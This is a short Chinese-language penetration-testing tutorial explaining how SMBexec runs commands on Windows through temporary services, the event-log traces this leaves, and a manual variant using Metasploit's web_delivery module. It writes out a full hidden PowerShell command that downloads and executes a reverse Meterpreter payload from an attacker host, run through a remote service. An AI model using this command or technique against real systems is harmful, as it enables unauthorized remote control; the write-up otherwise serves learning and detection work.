SMBexe 工作方式类似于 Psexec, 在这个例子中我们将其指向 cmd.exe 或 powershell.exe ,而不是将 binpath 指向目标内部的恶意可执行文件
SMB 执行程序
让我们从攻击者和目标的角度来看 smbexec 运行时会发生什么:
所以我们知道它创建了一个服务“BTOBTO”。但是当我们执行sc query. 系统日志揭示了发生的事情的线索:
服务文件名包含要执行的命令字符串(%COMSPEC% 指向 cmd.exe 的绝对路径)。它将要执行的命令回显到一个 bat 文件,将 stdout 和 stderr 重定向到一个 Temp 文件,然后执行 bat 文件并将其删除。回到 Kali,Python 脚本然后通过 SMB 提取输出文件并在我们的“伪外壳”中显示内容。对于我们在“shell”中键入的每个命令,都会创建一个新服务并重复该过程。这就是为什么它不需要删除二进制文件,它只是将每个所需的命令作为新服务执行。绝对更隐蔽,但正如我们所见,每个执行的命令都会创建一个事件日志。仍然是获得非交互式“外壳”的非常聪明的方法!
手动执行 SmbExec
正如 smbexec 所演示的,可以直接从服务 binPaths 执行命令而不需要二进制文件。如果您只需要在目标 Windows 机器上执行一个任意命令
我们将使用 Metasploit 的web_delivery模块并选择一个带有反向 Meterpreter 负载的 PowerShell 目标。侦听器已设置,它告诉我们要在目标机器上执行的命令:
powershell.exe -nop -w hidden -c $k=new-object net.webclient;$k.proxy=[Net.WebRequest]::GetSystemWebProxy();$k.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $k.downloadstring('http://10.9.122.8:8080/AZPLhG9txdFhS9n');
从我们的 Windows 攻击箱,我们创建一个远程服务(“metpsh”)并设置 binPath 以使用我们的有效负载执行 cmd.exe:
然后启动它:
它出错是因为我们的服务没有响应,但是如果我们查看我们的 Metasploit 侦听器,我们会看到回调已经完成并且有效负载已执行。